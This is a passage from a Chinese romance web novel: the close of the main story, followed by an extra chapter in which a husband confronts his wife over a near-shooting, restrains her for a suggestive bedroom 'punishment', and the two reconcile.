江凝烟笑,眼底亮晶晶的,“记得啊,某人因为这个不小心,一年送七八次赔罪礼,我早就原谅你了。” 陆京御吻了下她的手,“当时我姥姥去世,我没能见上最后一面,你的文字治愈了我。” 江凝烟震惊,“哪段?” “就,很多段,主要是,‘我不是我’的那段。” 江凝烟屏住呼吸。 陆京御说:“我知道我自己内心,什么最重要。” 做企业做最优秀的企业确实会让他热血澎湃,但是,他分得清什么最重要。 江凝烟笑着鼓励他,“我没那么脆弱,我也喜欢你做最耀眼的自己。所以不要说为了我停下,我可以跟你一起奔跑。” 陆京御也笑了,点头,“嗯,你说得对,你这么勇敢,不会让自己被困住。” 他看着她,她眼底一直有最耀眼的东西,光芒遮掩不住,眼底生生不息,但她居然还误会他是因为她姥爷娶的她。她对自己的光芒还是有所误解。 他轻触她的唇,直接解释道:“还有,我被你吸引,爱上你,是因为自由的你,通透的你,倔强的你,反抗的你,疯狂的你,细腻的你,而不是因为身为谁谁谁外孙女的你。” 江凝烟眼泪瞬间涌出来。 陆京御眸底漆黑,闪烁着动人的光辉,说:“烟烟,世间万千纷扰迷乱人眼,但坚韧又自由的灵魂永远耀眼。” 【全文完结】 第54章 play夫妻同甘共苦 陆京御今天恐惧疯了, 他快犯焦虑症了。 警方告诉他她在美国对她爷爷动了枪,差点干掉她爷爷,幸好被人阻止, 犯罪中止了,所以没事,但只要她伤害了她爷爷一点, 她就要吃官司了。 警方说这姑娘太疯了, 让他好好管管。 陆京御听到的时候, 整个脑子像是被雷劈穿, 他打电话问宋枝意和顾御洲, 得到当时场景的复现。 他脊背像是被条毒蛇攀住, 恐惧不安。 江凝烟洗完澡,看见一脸阴沉的陆京御不明所以。 她走过去,带着点俏皮地问:“怎么啦?” 陆京御站起身,朝她走过来,身后的灯光落在他身上, 阴影笼罩在她的脸上, 听不出情绪地问:“洗好了?” 江凝烟警觉性很高, 湿漉漉的脚往后退了一步。他的阴影落在她身上, 莫名让她惊惧。 不对劲。 他不对劲。 哪儿惹到他了? 她笑着手指抓住他的小臂, 一手勾住他的小指, 问:“你怎么了?” 陆京御声调散漫又严厉地说:“之前欠的罚款该交了。” 江凝烟脊背像是被点了穴,后背发麻。 他的伤也确实痊愈了, 她最近也很好, 事情都解决了, 她爷爷在狱中供出了很多,一进去, 他这把老骨头比什么都脆,什么都招了。连装修工也被抓进去了。 世界美好了,她不焦虑了,陆京御对她温柔体贴到骨子里,她满满的安全感,也不焦虑。 陆京御手指穿过她的指缝,领着她往外走,穿过家里的走廊,到了最西边的房间。 江凝烟这才发现这儿改造过了。 冷硬的黑,钢硬的金属,有霓虹的灯,还有能倒影能变幻的顶。 有张一米宽的床,床边立了四根黑漆刷得光亮的铁柱子,每根柱子都用螺丝在地上固定住了。 每根铁柱子上面都有手铐。 她心头发颤。 “我觉得梦里钉在墙上会让你脖子不舒服。我改了下,这样脖子应该不会不舒服,床也很软。” 陆京御冷欲的声音响起。 江凝烟的耳朵酥麻,耳垂开始发烫。 她扑到他怀里去撒娇,希望减刑,“我昨天还服务你了呢。” 她脸蛋在他胸肌上乱蹭。 陆京御手指捏住她的后颈,眸底的火光不见欲望,只见暗火,声音倒是平稳,“去美国找你爷爷的时候动枪了?” 声音回荡在空旷的房间里,回声像是锤子敲在她的心上。 江凝烟小声辩驳道:“我以为你死了,我只想杀了他。” 她此刻这话说出来已经完全没有之前的戾气了。 那天,她是真的想杀人。 她抬起眼,问他:“你会觉得我很坏吗?” 陆京御的表情温和又严肃,说:“不会。情有可原。完全理解你。上去吧。” 江凝烟:“……” 不觉得她坏,情有可原,就是要她躺上去受罚。 “罚多少时间啊?”江凝烟问,“二十分钟?” 陆京御冷冷地道:“一小时。” “一小时?”江凝烟瞪着眼炸了,“那不死翘翘了?” 陆京御不容置喙地道:“下次再犯两小时。” 陆京御手臂勒住她的后腰,将她放到了那张单人床上。 江凝烟眼睛咕噜噜地转,“我这个人很公平的啊,你要是欺负我一小时,我明天也欺负你一小时。” “乖乖受罚,我明天随你欺负。” 重点是她有没有受罚,有没有知错,而不是他会不会被她欺负回来。 江凝烟一躺上去,发现这难度老大了! 腿得举这么高!cheng 那么开! 陆京御帮她把她的手脚固定好,手脚在同一平面上。 陆京御还从柜子里翻出来一些东西,江凝烟见了心慌得呼吸急促。 “不可以用它们!” 狐狸尾巴、羽毛、玩具…….什么都有,用它们一个小时,她真的要死翘翘了! 她从来没试过玩具,这玩意她能行? 陆京御挑眉,冷酷地道:“会罚到你记忆深刻。” 江凝烟:“……” 她笑着威胁道:“那你等会也躺着儿,我也要让你尝尝这什么感觉。” 陆京御浑不在意,“当然了,夫妻同甘共苦。老婆犯错,是我的不是,我也该罚。我同意让你随便罚一小时。” 江凝烟:“……” 这哥又开始油盐不进了。 服了。 还自罚一个小时,什么人啊,等会非得罚得他后悔,她嘿嘿笑得邪恶,“你自己说的啊,夫妻同甘共苦,等会你对我做什么,我就对你做什么。” 陆京御挑眉,“好啊,我答应你。” 随着他的逼近,江凝烟心脏抖起来。但她连制止都说不出口,因为这哥狠起来连自己都罚。他真的要陪她也这样被罚一小时吗? 她发现这柱子确实可以调节高度,他也可以。 江凝烟:“……” 冰凉感传来,陆京御拿剪刀剪开了她的衣裳。 她的肌肤战栗,看着旖旎的灯光落在他的侧脸上,他小心又谨慎,好像深怕剪刀伤到她。 看了一会她就受不了地闭上眼睛。 耳边传来他的声音,语气有点沉,“我真的担心你的冲动会害死你。你这个性子不改了,我怕我哪天回家,见不着你了。” 他越这样说话,她越心惊胆战,就像硕大的冰块在她眼前被砸裂了,碎冰溅到她的身上那般惊惧。 他都开始为自己的行为找理由了。 等会还不知道怎么罚得狠呢。 江凝烟为自己辩护,开口语气已经有些发抖,“这根本不算冲动啊。他迫害我那么多次,还差点害死你,我根本忍不了了。” “嗯,知道枪杀别人什么后果吗?” 江凝烟的头瞥开,咬着下唇,已经觉得有点痒了。 “你确实是报仇,但照样有可能直接给你判死刑。”他语气严肃。 她噘起唇,说:“我那时候哪管这些,我以为你死了,就跟他拼命。我愿意杀了他以后被杀,我可以承担这个后果……啊!!!!!!!” “跟他拼命?”他声音又冷又凉,平静地看着她尖叫,“你的命谁救的,你就这么拼掉了?” 江凝烟喘着粗气,胸腔起伏不定,哪儿都在抖,她抖着音回答,“你……救……的。” “那我救你,是让你就这样去死的吗?” 江凝烟话都说不出来了,手紧紧拽成拳,“不……是。” “我的命拿来换你了,你难道不该活她个两百年?” 江凝烟呜呜呜呜呜叫,浑身都紧绷了。 “还有之前出车祸,那男人都走了,你还上去揍他,你做事就是不考虑后果。” 江凝烟在心里大叫,不要提那件事,提了不会加时间吗? “我真怕我哪天回来了,见不到你。” 江凝烟嘤嘤叫道:“你把那东西拿开,不然你没准等下就见不到了。” 陆京御笑了一声,“拿开?你说的哦。” 他没有立刻拿开,反而又瞧了她一会,在她快受不了的时候,他拿开了。 江凝烟:“!!!!!!!” 啊啊啊啊! 又、又、又不让她……出、 来! 江凝烟后来根本没有精力罚陆京御,差点被他折腾死,旱的时候旱死涝的时候涝死。 她趴在他的胸口,脸贴在他胸口,发现压在他的伤疤上,本来一肚子怨言,忽然气消了点。 “别气了。”陆京御摸摸她的后脑勺。 江凝烟压到他的伤疤已经不气了,但是,还是傲气地鼻孔哼了一声。 陆京御声音有几分凄惨地说:“以后冲动,想想我要是回家再也见不到你了,我会疯。” 江凝烟的眼睫在夜色中颤抖了下。 陆京御气息平稳悠长,说得很认真,“甚至会死。” 江凝烟忽然想起他妈妈跟她说,她走的时候陆京御都急吐血了。 她体内的那些戾气好像乖乖地被锁进了最深处,那些本来像是沸腾的水泡一样的戾气,此刻平静如深潭。 怎么有人,让人想起来就能变温柔? 江凝烟唇微撇,亲吻了他胸口的伤疤,“我觉得我能克制住了,你别担心。” 有他这个牵挂在,她也变得怕死了。